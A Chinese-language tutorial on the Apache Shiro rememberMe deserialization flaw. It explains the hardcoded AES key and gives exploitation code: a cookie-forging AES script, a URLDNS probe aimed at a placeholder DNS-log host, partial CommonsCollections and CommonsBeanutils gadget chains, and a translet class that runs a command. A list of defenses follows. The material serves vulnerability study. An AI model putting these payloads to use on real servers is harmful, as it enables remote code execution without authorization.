Java反序列化之Shiro反序列化利用
字数 1296 2025-08-24 16:48:16

Apache Shiro 反序列化漏洞分析与利用

一、漏洞背景

Apache Shiro 是一个强大且易用的 Java 安全框架,提供认证、授权、加密和会话管理等功能。在 Shiro 1.2.4 及之前版本中,存在一个严重的反序列化漏洞,攻击者可以通过构造恶意的 rememberMe cookie 来执行任意代码。

二、漏洞原理

1. 漏洞触发点

Shiro 在用户登录时如果勾选"记住我"功能,会在响应中返回一个 rememberMe cookie。这个 cookie 的值是经过以下处理的:

  1. 序列化用户身份信息
  2. 使用 AES 加密
  3. Base64 编码

关键问题在于:

  • Shiro 使用了硬编码的 AES 加密密钥(kPH+bIxk5D2deZiIxcaaaA==
  • 加密后的数据会被反序列化

2. 漏洞分析流程

  1. Cookie 处理流程

    • CookieRememberMeManager 类处理 cookie
    • AbstractRememberMeManager.getRememberedPrincipals() 获取 cookie 数据
    • convertBytesToPrincipals() 方法进行解密和反序列化
  2. 关键代码

protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
    if (getCipherService() != null) {
        bytes = decrypt(bytes);  // AES解密
    }
    return deserialize(bytes);  // 反序列化
}
  1. 硬编码密钥
private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");

三、漏洞利用

1. 基本利用流程

  1. 构造恶意序列化对象
  2. 使用 Shiro 的 AES 密钥加密
  3. Base64 编码后作为 rememberMe cookie 发送

2. 利用工具类

AES 加密工具(Python)

import base64
import uuid
from random import Random
from Crypto.Cipher import AES

def aes_enc(data):
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = "kPH+bIxk5D2deZiIxcaaaA=="
    mode = AES.MODE_CBC
    iv = uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data)))
    return ciphertext

URLDNS 测试 Payload(Java)

public class URLDNS {
    public static void main(String[] args) throws Exception {
        HashMap<URL, Integer> hashmap = new HashMap<URL, Integer>();
        URL url = new URL("http://your-dns-log.com");
        Class c = url.getClass();
        Field hashcodefield = c.getDeclaredField("hashCode");
        hashcodefield.setAccessible(true);
        hashcodefield.set(url, 1234);
        hashmap.put(url, 1);
        hashcodefield.set(url, -1);
        serialize(hashmap);
    }
}

3. 利用链选择

3.1 Commons Collections 链(CC链)

问题:Shiro 默认不包含 CC 依赖,需要目标应用额外引入

解决方案:构造无数组类的 CC 链(避免 ClassResolvingObjectInputStream 无法加载数组类的问题)

示例 EXP

// 使用 CC6 + TemplatesImpl 的组合
TemplatesImpl templates = new TemplatesImpl();
// 设置 _bytecodes 和 _name 等字段

// 使用 LazyMap 和 TiedMapEntry 构造调用链
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null, null);
HashMap<Object, Object> map = new HashMap<>();
Map<Object, Object> Lazymap = LazyMap.decorate(map, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(Lazymap, templates);
HashMap<Object, Object> map2 = new HashMap<>();
map2.put(tiedMapEntry, "bbb");

3.2 Commons Beanutils 链(CB链)

优势:Shiro 自带 Commons Beanutils 依赖,无需额外依赖

利用原理

  1. 利用 TemplatesImplgetOutputProperties() 方法(符合 JavaBean 规范)
  2. 通过 BeanComparator 触发方法调用

示例 EXP

TemplatesImpl templates = new TemplatesImpl();
// 设置 _bytecodes 和 _name 等字段

// 使用 BeanComparator 触发
BeanComparator beanComparator = new BeanComparator("outputProperties", new AttrCompare());
PriorityQueue priorityQueue = new PriorityQueue(2, beanComparator);
priorityQueue.add(templates);
priorityQueue.add(1);

4. 恶意类构造

Demo.java(用于 TemplatesImpl 加载):

public class Demo extends AbstractTranslet {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
    // 必须实现的方法
    public void transform(DOM document, SerializationHandler[] handlers) {}
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {}
}

四、防御措施

  1. 升级 Shiro 到最新版本(>=1.2.5)
  2. 自定义加密密钥(修改 AbstractRememberMeManagersetCipherKey
  3. 禁用 rememberMe 功能(如不需要)
  4. 使用 WAF 防护反序列化攻击

五、总结

Shiro 反序列化漏洞的核心在于:

  1. 硬编码的 AES 密钥
  2. 不安全的反序列化操作
  3. 可利用的依赖链(CC/CB)

攻击者可以通过构造特定的序列化对象,利用 Shiro 的 rememberMe 功能实现远程代码执行。防御关键在于及时更新、密钥自定义和最小化依赖。

Apache Shiro 反序列化漏洞分析与利用 一、漏洞背景 Apache Shiro 是一个强大且易用的 Java 安全框架,提供认证、授权、加密和会话管理等功能。在 Shiro 1.2.4 及之前版本中,存在一个严重的反序列化漏洞,攻击者可以通过构造恶意的 rememberMe cookie 来执行任意代码。 二、漏洞原理 1. 漏洞触发点 Shiro 在用户登录时如果勾选"记住我"功能,会在响应中返回一个 rememberMe cookie。这个 cookie 的值是经过以下处理的: 序列化用户身份信息 使用 AES 加密 Base64 编码 关键问题在于: Shiro 使用了硬编码的 AES 加密密钥( kPH+bIxk5D2deZiIxcaaaA== ) 加密后的数据会被反序列化 2. 漏洞分析流程 Cookie 处理流程 : CookieRememberMeManager 类处理 cookie AbstractRememberMeManager.getRememberedPrincipals() 获取 cookie 数据 convertBytesToPrincipals() 方法进行解密和反序列化 关键代码 : 硬编码密钥 : 三、漏洞利用 1. 基本利用流程 构造恶意序列化对象 使用 Shiro 的 AES 密钥加密 Base64 编码后作为 rememberMe cookie 发送 2. 利用工具类 AES 加密工具(Python) URLDNS 测试 Payload(Java) 3. 利用链选择 3.1 Commons Collections 链(CC链) 问题 :Shiro 默认不包含 CC 依赖,需要目标应用额外引入 解决方案 :构造无数组类的 CC 链(避免 ClassResolvingObjectInputStream 无法加载数组类的问题) 示例 EXP : 3.2 Commons Beanutils 链(CB链) 优势 :Shiro 自带 Commons Beanutils 依赖,无需额外依赖 利用原理 : 利用 TemplatesImpl 的 getOutputProperties() 方法(符合 JavaBean 规范) 通过 BeanComparator 触发方法调用 示例 EXP : 4. 恶意类构造 Demo.java (用于 TemplatesImpl 加载): 四、防御措施 升级 Shiro 到最新版本(>=1.2.5) 自定义加密密钥(修改 AbstractRememberMeManager 的 setCipherKey ) 禁用 rememberMe 功能(如不需要) 使用 WAF 防护反序列化攻击 五、总结 Shiro 反序列化漏洞的核心在于: 硬编码的 AES 密钥 不安全的反序列化操作 可利用的依赖链(CC/CB) 攻击者可以通过构造特定的序列化对象,利用 Shiro 的 rememberMe 功能实现远程代码执行。防御关键在于及时更新、密钥自定义和最小化依赖。